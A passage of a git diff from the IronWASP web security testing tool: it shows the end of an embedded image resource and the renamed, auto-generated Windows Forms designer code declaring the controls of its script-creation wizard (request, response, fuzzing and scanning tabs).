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 + + + \ No newline at end of file diff --git a/IronWASP/ScriptCreationAssistant.Designer.cs b/Iron/ScriptCreationAssistant.Designer.cs similarity index 93% rename from IronWASP/ScriptCreationAssistant.Designer.cs rename to Iron/ScriptCreationAssistant.Designer.cs index b7fcfd0..6743d38 100644 --- a/IronWASP/ScriptCreationAssistant.Designer.cs +++ b/Iron/ScriptCreationAssistant.Designer.cs @@ -1,4284 +1,4284 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ScriptCreationAssistant - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle35 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle36 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle37 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle38 = new System.Windows.Forms.DataGridViewCellStyle(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScriptCreationAssistant)); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle39 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle40 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle41 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle42 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle43 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle44 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle45 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle46 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle47 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle48 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle49 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle50 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle51 = new System.Windows.Forms.DataGridViewCellStyle(); - this.BaseSplit = new System.Windows.Forms.SplitContainer(); - this.QuestionTabs = new System.Windows.Forms.TabControl(); - this.tabPage15 = new System.Windows.Forms.TabPage(); - this.IntroRTB = new System.Windows.Forms.RichTextBox(); - this.tabPage1 = new System.Windows.Forms.TabPage(); - this.tabControl1 = new System.Windows.Forms.TabControl(); - this.tabPage6 = new System.Windows.Forms.TabPage(); - this.CRErrorTB = new System.Windows.Forms.TextBox(); - this.CRFromLogPanel = new System.Windows.Forms.Panel(); - this.CRLogSourceGrid = new System.Windows.Forms.DataGridView(); - this.Column1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.CRLogIdTB = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.CRFromUrlPanel = new System.Windows.Forms.Panel(); - this.CRRequestBodyTB = new System.Windows.Forms.TextBox(); - this.CRRequestUrlTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.CRIncludeRequestBodyCB = new System.Windows.Forms.CheckBox(); - this.CRCreateCodeBtn = new System.Windows.Forms.Button(); - this.CRFromLogRB = new System.Windows.Forms.RadioButton(); - this.CRFromUrlRB = new System.Windows.Forms.RadioButton(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.tabPage12 = new System.Windows.Forms.TabPage(); - this.RPPParameterDescriptionTB = new System.Windows.Forms.TextBox(); - this.RPPErrorTB = new System.Windows.Forms.TextBox(); - this.RPPCreateCodeBtn = new System.Windows.Forms.Button(); - this.RPPParameterValueTB = new System.Windows.Forms.TextBox(); - this.RPPParameterValueLbl = new System.Windows.Forms.Label(); - this.RPPParameterNameTB = new System.Windows.Forms.TextBox(); - this.RPPParameterNameLbl = new System.Windows.Forms.Label(); - this.RPPQuestionGB = new System.Windows.Forms.GroupBox(); - this.RPPAnswerTwoRB = new System.Windows.Forms.RadioButton(); - this.RPPAnswerOneRB = new System.Windows.Forms.RadioButton(); - this.RPPActionGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.RPPParameterTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.tabPage7 = new System.Windows.Forms.TabPage(); - this.ROPDisplayRTB = new System.Windows.Forms.RichTextBox(); - this.ROPParameterDescriptionTB = new System.Windows.Forms.TextBox(); - this.ROPErrorTB = new System.Windows.Forms.TextBox(); - this.ROPCreateCodeBtn = new System.Windows.Forms.Button(); - this.ROPParameterValueTB = new System.Windows.Forms.TextBox(); - this.ROPParameterValueLbl = new System.Windows.Forms.Label(); - this.ROPQuestionGB = new System.Windows.Forms.GroupBox(); - this.ROPAnswerEditRB = new System.Windows.Forms.RadioButton(); - this.ROPAnswerReadRB = new System.Windows.Forms.RadioButton(); - this.ROPParameterTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn3 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.tabPage8 = new System.Windows.Forms.TabPage(); - this.SRErrorTB = new System.Windows.Forms.TextBox(); - this.SRCreateCodeBtn = new System.Windows.Forms.Button(); - this.SRLogSourceTB = new System.Windows.Forms.TextBox(); - this.SRLogSourceLbl = new System.Windows.Forms.Label(); - this.groupBox1 = new System.Windows.Forms.GroupBox(); - this.SRDontFollowRedirectRB = new System.Windows.Forms.RadioButton(); - this.SRFollowRedirectRB = new System.Windows.Forms.RadioButton(); - this.SRSendWithLogSourceRB = new System.Windows.Forms.RadioButton(); - this.SRNormalSendRB = new System.Windows.Forms.RadioButton(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.tabPage13 = new System.Windows.Forms.TabPage(); - this.ReqODescTB = new System.Windows.Forms.TextBox(); - this.ReqOCreateCodeBtn = new System.Windows.Forms.Button(); - this.ReqOActionsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn10 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox16 = new System.Windows.Forms.TextBox(); - this.tabPage2 = new System.Windows.Forms.TabPage(); - this.tabControl2 = new System.Windows.Forms.TabControl(); - this.tabPage10 = new System.Windows.Forms.TabPage(); - this.ResDisplayRTB = new System.Windows.Forms.RichTextBox(); - this.ResParameterDescriptionTB = new System.Windows.Forms.TextBox(); - this.ResErrorTB = new System.Windows.Forms.TextBox(); - this.ResCreateCodeBtn = new System.Windows.Forms.Button(); - this.ResParameterValueTB = new System.Windows.Forms.TextBox(); - this.ResParameterValueLbl = new System.Windows.Forms.Label(); - this.ResQuestionGB = new System.Windows.Forms.GroupBox(); - this.ResAnswerEditRB = new System.Windows.Forms.RadioButton(); - this.ResAnswerReadRB = new System.Windows.Forms.RadioButton(); - this.ResParameterTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn4 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox8 = new System.Windows.Forms.TextBox(); - this.tabPage11 = new System.Windows.Forms.TabPage(); - this.HtmlAnswerPanel = new System.Windows.Forms.Panel(); - this.HtmlAnswerLbl = new System.Windows.Forms.Label(); - this.HtmlAnswerTB = new System.Windows.Forms.TextBox(); - this.HtmlAnswerDescriptionTB = new System.Windows.Forms.TextBox(); - this.HtmlGEPanel = new System.Windows.Forms.Panel(); - this.label9 = new System.Windows.Forms.Label(); - this.label10 = new System.Windows.Forms.Label(); - this.HtmlGETagTB = new System.Windows.Forms.TextBox(); - this.label11 = new System.Windows.Forms.Label(); - this.HtmlGEAttributeValueTB = new System.Windows.Forms.TextBox(); - this.HtmlGEAttributeNameTB = new System.Windows.Forms.TextBox(); - this.HtmlGVPanel = new System.Windows.Forms.Panel(); - this.label5 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.HtmlGVTagTB = new System.Windows.Forms.TextBox(); - this.label6 = new System.Windows.Forms.Label(); - this.HtmlGVMainAttributeNameTB = new System.Windows.Forms.TextBox(); - this.HtmlGVHelperAttributeValueTB = new System.Windows.Forms.TextBox(); - this.HtmlGVHelperAttributeNameTB = new System.Windows.Forms.TextBox(); - this.HtmlOptionsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn6 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.HtmlErrorTB = new System.Windows.Forms.TextBox(); - this.HtmlCreateCodeBtn = new System.Windows.Forms.Button(); - this.HtmlDescriptionTB = new System.Windows.Forms.TextBox(); - this.HtmlMainActionsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn5 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.tabPage9 = new System.Windows.Forms.TabPage(); - this.ResODescTB = new System.Windows.Forms.TextBox(); - this.ResOCreateCodeBtn = new System.Windows.Forms.Button(); - this.ResOActionsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox15 = new System.Windows.Forms.TextBox(); - this.tabPage3 = new System.Windows.Forms.TabPage(); - this.LogCreateCodeBtn = new System.Windows.Forms.Button(); - this.LogSourceGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn7 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LogErrorTB = new System.Windows.Forms.TextBox(); - this.textBox6 = new System.Windows.Forms.TextBox(); - this.tabPage4 = new System.Windows.Forms.TabPage(); - this.textBox14 = new System.Windows.Forms.TextBox(); - this.textBox13 = new System.Windows.Forms.TextBox(); - this.textBox12 = new System.Windows.Forms.TextBox(); - this.CrawlCreateCodeBtn = new System.Windows.Forms.Button(); - this.CrawlFormsRB = new System.Windows.Forms.RadioButton(); - this.CrawlLinksRB = new System.Windows.Forms.RadioButton(); - this.CrawlCookiesRB = new System.Windows.Forms.RadioButton(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.tabPage14 = new System.Windows.Forms.TabPage(); - this.FuzzBaseTabs = new System.Windows.Forms.TabControl(); - this.NameTab = new System.Windows.Forms.TabPage(); - this.FuzzInCodeRB = new System.Windows.Forms.RadioButton(); - this.FuzzUseUiRB = new System.Windows.Forms.RadioButton(); - this.textBox9 = new System.Windows.Forms.TextBox(); - this.FuzzStepZeroNextBtn = new System.Windows.Forms.Button(); - this.LanguageTab = new System.Windows.Forms.TabPage(); - this.FuzzSelectedParametersListTB = new System.Windows.Forms.TextBox(); - this.FuzzBodyTypeGB = new System.Windows.Forms.GroupBox(); - this.FuzzBodyCustomMsgTB = new System.Windows.Forms.TextBox(); - this.FuzzBodyCustomEndTB = new System.Windows.Forms.TextBox(); - this.FuzzBodyCustomEndLbl = new System.Windows.Forms.Label(); - this.FuzzBodyCustomStartTB = new System.Windows.Forms.TextBox(); - this.FuzzBodyCustomStartLbl = new System.Windows.Forms.Label(); - this.FuzzBodyTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn12 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.FuzzAddPointLL = new System.Windows.Forms.LinkLabel(); - this.FuzzParametersNameListLbl = new System.Windows.Forms.Label(); - this.FuzzParametersNameListTB = new System.Windows.Forms.TextBox(); - this.FuzzListedParametersRB = new System.Windows.Forms.RadioButton(); - this.FuzzAllParametersRB = new System.Windows.Forms.RadioButton(); - this.FuzzParameterTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn11 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.FuzzStep1StatusTB = new System.Windows.Forms.TextBox(); - this.textBox18 = new System.Windows.Forms.TextBox(); - this.FuzzStepOnePreviousBtn = new System.Windows.Forms.Button(); - this.FuzzStepOneNextBtn = new System.Windows.Forms.Button(); - this.PayloadsTab = new System.Windows.Forms.TabPage(); - this.FuzzLoadPayloadsFromFileRB = new System.Windows.Forms.RadioButton(); - this.FuzzUsePayloadsFromListRB = new System.Windows.Forms.RadioButton(); - this.groupBox3 = new System.Windows.Forms.GroupBox(); - this.label13 = new System.Windows.Forms.Label(); - this.FuzzOriginalParameterBeforePayloadRB = new System.Windows.Forms.RadioButton(); - this.FuzzOriginalParameterAfterPayloadRB = new System.Windows.Forms.RadioButton(); - this.FuzzNoOriginalParameterRB = new System.Windows.Forms.RadioButton(); - this.groupBox2 = new System.Windows.Forms.GroupBox(); - this.FuzzPayloadEncodedNoRB = new System.Windows.Forms.RadioButton(); - this.FuzzPayloadEncodedYesRB = new System.Windows.Forms.RadioButton(); - this.textBox10 = new System.Windows.Forms.TextBox(); - this.FuzzPayloadsFileLbl = new System.Windows.Forms.Label(); - this.FuzzPayloadsListTB = new System.Windows.Forms.TextBox(); - this.FuzzLoadPayloadsFileLL = new System.Windows.Forms.LinkLabel(); - this.FuzzStep2StatusTB = new System.Windows.Forms.TextBox(); - this.textBox17 = new System.Windows.Forms.TextBox(); - this.FuzzStepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.FuzzStepTwoNextBtn = new System.Windows.Forms.Button(); - this.FinalTab = new System.Windows.Forms.TabPage(); - this.label3 = new System.Windows.Forms.Label(); - this.FuzzStep3StatusTB = new System.Windows.Forms.TextBox(); - this.FuzzUseCustomLogSourceCB = new System.Windows.Forms.CheckBox(); - this.FuzzSessionPluginGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn13 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.FuzzSessionPluginMsgTB = new System.Windows.Forms.TextBox(); - this.label8 = new System.Windows.Forms.Label(); - this.FuzzStepThreePreviousBtn = new System.Windows.Forms.Button(); - this.FuzzLogSourceTB = new System.Windows.Forms.TextBox(); - this.FuzzCreateCodeBtn = new System.Windows.Forms.Button(); - this.tabPage16 = new System.Windows.Forms.TabPage(); - this.ScanBaseTabs = new System.Windows.Forms.TabControl(); - this.tabPage18 = new System.Windows.Forms.TabPage(); - this.ScanSelectedParametersListTB = new System.Windows.Forms.TextBox(); - this.ScanBodyTypeGB = new System.Windows.Forms.GroupBox(); - this.ScanBodyCustomMsgTB = new System.Windows.Forms.TextBox(); - this.ScanBodyCustomEndTB = new System.Windows.Forms.TextBox(); - this.ScanBodyCustomEndLbl = new System.Windows.Forms.Label(); - this.ScanBodyCustomStartTB = new System.Windows.Forms.TextBox(); - this.ScanBodyCustomStartLbl = new System.Windows.Forms.Label(); - this.ScanBodyTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn14 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanAddPointLL = new System.Windows.Forms.LinkLabel(); - this.ScanParametersNameListLbl = new System.Windows.Forms.Label(); - this.ScanParametersNameListTB = new System.Windows.Forms.TextBox(); - this.ScanListedParametersRB = new System.Windows.Forms.RadioButton(); - this.ScanAllParametersRB = new System.Windows.Forms.RadioButton(); - this.ScanParameterTypeGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn15 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanStep0StatusTB = new System.Windows.Forms.TextBox(); - this.textBox26 = new System.Windows.Forms.TextBox(); - this.ScanResetBtn = new System.Windows.Forms.Button(); - this.ScanStepZeroNextBtn = new System.Windows.Forms.Button(); - this.tabPage19 = new System.Windows.Forms.TabPage(); - this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); - this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn17 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn25 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - 